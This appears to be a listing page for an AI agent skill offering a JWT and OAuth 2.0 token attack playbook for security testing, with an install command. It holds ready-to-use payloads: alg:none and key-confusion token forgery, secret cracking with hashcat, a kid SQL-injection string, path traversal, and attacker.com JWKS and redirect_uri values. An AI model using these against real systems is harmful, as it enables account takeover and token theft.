关于 jwt-oauth-token-attacks
用于测试 JWT 加密机制及 OAuth 2.0 令牌流程的安全技能,涵盖令牌处理、授权流程和泄漏检查,并指向相关 OAuth、CORS 与 SAML 主题。
主要功能
- 01JWT 算法与密钥攻击检查
- 02OAuth 流程及 PKCE 检查
- 03重定向与权限范围测试
- 04令牌泄漏途径
- 05关联安全技能指引
适用场景
- 01审查 JWT 验证
- 02测试 OAuth 登录与重定向
- 03检查令牌在 URL 和日志中的暴露
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ yaklang/ hack-skills --skill jwt-oauth-token-attacks安装后在 Claude Code 中输入/jwt-oauth-token-attacks确认已加载。
详细介绍
技能:JWT 和 OAuth 2.0 令牌攻击 — 专家攻击手册
AI 加载说明:专家级身份验证令牌攻击。涵盖 JWT 加密攻击(alg:none、RS256→HS256、密钥破解、kid/jku 注入)、OAuth 流程攻击(CSRF、开放重定向、令牌窃取、滥用隐式流程)、PKCE 绕过,以及通过 Referer/日志泄露令牌。这对现代 Web 应用至关重要。
0. 相关路由
对以令牌为核心的攻击和流程滥用,请使用此文件。此外,还需加载:
- oauth oidc misconfiguration,用于验证重定向 URI、state、nonce、PKCE 和账户绑定
- cors cross origin misconfiguration,适用于可能存在跨源浏览器可读 API 或令牌泄露的情况
- saml sso assertion attacks,适用于目标使用 OAuth/OIDC 以外的企业 SSO 的情况
1. JWT 结构
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEyMzQsInJvbGUiOiJ1c2VyIn0.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
└─────────────────────┘ └────────────────────────────┘ └──────────────────────────────────────────┘
HEADER PAYLOAD SIGNATURE
在终端中解码:
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9" | base64 -d
# → {"alg":"HS256","typ":"JWT"}
echo "eyJ1c2VySWQiOjEyMzQsInJvbGUiOiJ1c2VyIn0" | base64 -d
# → {"userId":1234,"role":"user"}
常见的声明攻击目标(修改以提升权限):
{
"role": "admin",
"isAdmin": true,
"userId": OTHER_USER_ID,
"email": "[email protected]",
"sub": "admin",
"permissions": ["admin", "write", "delete"],
"tier": "premium"
}
2. 攻击 1 — 算法 NONE(alg:none)
当算法为 "none"/"None"/"NONE" 时,服务器不会验证签名:
# Burp JWT Editor / python-jwt attack:
# Step 1: Decode header
echo '{"alg":"HS256","typ":"JWT"}' | base64 → old_header
# Step 2: Create new header
echo -n '{"alg":"none","typ":"JWT"}' | base64 | tr -d '=' | tr '/+' '_-'
# Step 3: Modify payload (e.g., role → admin):
echo -n '{"userId":1234,"role":"admin"}' | base64 | tr -d '=' | tr '/+' '_-'
# Step 4: Construct token with empty signature:
HEADER.PAYLOAD.
# OR:
HEADER.PAYLOAD
工具(jwt_tool):
python3 jwt_tool.py JWT_TOKEN -X a
# → automatically generates alg:none variants
3. 攻击 2 — RS256 到 HS256 密钥混淆
当服务器使用 RS256 时(非对称 — RSA 私钥签名,公钥验证):
- 通常可以发现服务器的公钥(JWKS 端点、
/certs、源代码) - 攻击:告诉服务器“这是 HS256” → 服务器使用公钥作为密钥来验证 HS256 HMAC
# Step 1: Obtain public key (PEM format)
# From: /api/.well-known/jwks.json → convert to PEM
# From: /certs endpoint
# From: OpenSSL extraction from HTTPS cert
# Step 2: Use jwt_tool to sign with HS256 using public key as secret:
python3 jwt_tool.py JWT_TOKEN -X k -pk public_key.pem
# Step 3: Manually:
# Modify header: {"alg":"HS256","typ":"JWT"}
# Sign entire header.payload with HMAC-SHA256 using PEM public key bytes
4. 攻击 3 — JWT 密钥暴力破解
基于 HMAC 的 JWT(HS256/HS384/HS512)使用了弱密钥:
# hashcat (fast):
hashcat -a 0 -m 16500 "JWT_TOKEN_HERE" /usr/share/wordlists/rockyou.txt
# john:
echo "JWT_TOKEN_HERE" > jwt.txt
john --format=HMAC-SHA256 --wordlist=/usr/share/wordlists/rockyou.txt jwt.txt
# jwt_tool:
python3 jwt_tool.py JWT_TOKEN -C -d /path/to/wordlist.txt
可手动测试的常见弱密钥:
secret, password, 123456, qwerty, changeme, your-256-bit-secret,
APP_NAME, app_name, production, jwt_secret, SECRET_KEY
5. 攻击 4 — kid(密钥 ID)注入
kid 标头参数指定用于验证的密钥。未进行清理 = 可注入:
kid SQL 注入
{"alg":"HS256","kid":"' UNION SELECT 'attacker_controlled_key' FROM dual--"}
如果后端执行 SQL 查询:SELECT key FROM keys WHERE kid = 'INPUT'
结果:HMAC 密钥 = 'attacker_controlled_key' → 使用此值签名即可伪造任意载荷。
kid 路径遍历(文件读取)
{"alg":"HS256","kid":"../../../../dev/null"}
服务器将 /dev/null 读取为密钥 → 空字符串 → 使用空 HMAC 对令牌签名。
{"alg":"HS256","kid":"../../../../etc/hostname"}
服务器将主机名读取为密钥 → 使用主机名字符串签名伪造令牌。
6. 攻击 5 — jku / x5u 标头注入
jku 指向 JSON Web Key Set URL。如果未列入白名单:
{"alg":"RS256","jku":"https://attacker.com/malicious-jwks.json","kid":"my-key"}
设置:
# Generate RSA key pair:
openssl genrsa -out private.pem 2048
openssl rsa -in private.pem -pubout -out public.pem
# Create JWKS:
python3 -c "
import json, base64, struct
# ... (use python-jwcrypto or jwt_tool to export JWKS)
"
# Host malicious JWKS at attacker.com/malicious-jwks.json
# Sign JWT with attacker's private key
# Server fetches attacker's JWKS → verifies with attacker's public key → accepts
jwt_tool 自动化:
python3 jwt_tool.py JWT -X s -ju https://attacker.com/malicious-jwks.json
7. OAUTH 2.0 — 缺少 STATE 参数(CSRF)
State 参数可防止 OAuth 中的 CSRF。如果缺失:
Attack:
1. Click "Login with Google" → OAuth starts → intercept the redirect URL:
https://accounts.google.com/oauth2/auth?client_id=APP_ID&redirect_uri=https://target.com/callback&state=MISSING_OR_PREDICTABLE&code=...
2. Get the authorization code (stop before exchanging it)
3. Craft URL: https://target.com/oauth/callback?code=ATTACKER_CODE
4. Victim clicks that URL → their session binds to ATTACKER's OAuth identity
→ ACCOUNT TAKEOVER
8. OAUTH — REDIRECT_URI 绕过
授权码会发送到 redirect_uri。如果验证不严:
redirect_uri 中的开放重定向
Original: redirect_uri=https://target.com/callback
Attack: redirect_uri=https://target.com/callback/../../../attacker.com
redirect_uri=https://attacker.com.target.com/callback
redirect_uri=https://[email protected]/callback
部分路径匹配
Whitelist: https://target.com/callback
Attack: https://target.com/callback%2f../admin (URL path confusion)
https://target.com/callbackXSS (prefix match only)
本地主机 / 开发环境重定向
redirect_uri=http://localhost/steal
redirect_uri=urn:ietf:wg:oauth:2.0:oob (mobile apps)
9. OAUTH — 隐式流程令牌窃取
隐式流程:令牌通过 URL 片段 #access_token=... 发送
片段泄露场景:
- 重定向到攻击者页面:可通过
document.referrer或目标页面中的<script>window.location.href</script>访问片段 - 开放重定向:
redirect_uri=https://target.com/open-redirect?url=https://attacker.com→ 片段中的令牌最终到达攻击者页面
10. OAUTH — 范围提升
在授权码请求中申请超出已授权范围的权限:
Authorized scope: read:profile
Attack: During token exchange, add scope=admin or scope=read:admin
→ Does server grant requested scope or issued scope?
11. 令牌泄露途径
Referer 标头
URL 中包含令牌 → 页面加载外部资源 → Referer 泄露令牌:
https://target.com/dashboard#access_token=TOKEN
→ HTML loads: <img src="https://analytics.third-party.com/track">
→ Referer: https://target.com/dashboard#access_token=TOKEN
→ analytics.third-party.com sees token in Referer logs
服务器日志
通过查询参数发送的访问令牌会存储在:
/var/log/nginx/access.log
/var/log/apache2/access.log
ELB/ALB logs (AWS)
CloudFront logs
CDN logs
12. JWT 测试清单
□ Decode header + payload (base64 decode each part)
□ Identify algorithm: HS256/RS256/ES256/none
□ Modify payload fields (role, userId, isAdmin) → change signature too
□ Test alg:none → remove signature entirely
□ If RS256: find public key → attempt RS256→HS256 confusion
□ If HS256: brute force with hashcat/rockyou
□ Check kid parameter → try SQL injection + path traversal
□ Check jku/x5u header → redirect to attacker JWKS
□ Test token reuse after logout
□ Test expired token acceptance (exp claim)
□ Check for token in GET params (log leakage) vs header
13. OAUTH 测试清单
□ Check for state parameter in authorization request
□ Test redirect_uri manipulation (open redirect, prefix match, path confusion)
□ Can tokens be exchanged more than once?
□ Test scope escalation during token exchange
□ Implicit flow: check for token in Referer/history
□ PKCE: can code_challenge be bypassed or code_verifier be empty?
□ Check for authorization code reuse (code must be single-use)
□ Test account linking abuse: link OAuth to existing account with same email
□ Check OAuth provider confusion: use Apple ID to link where Google expected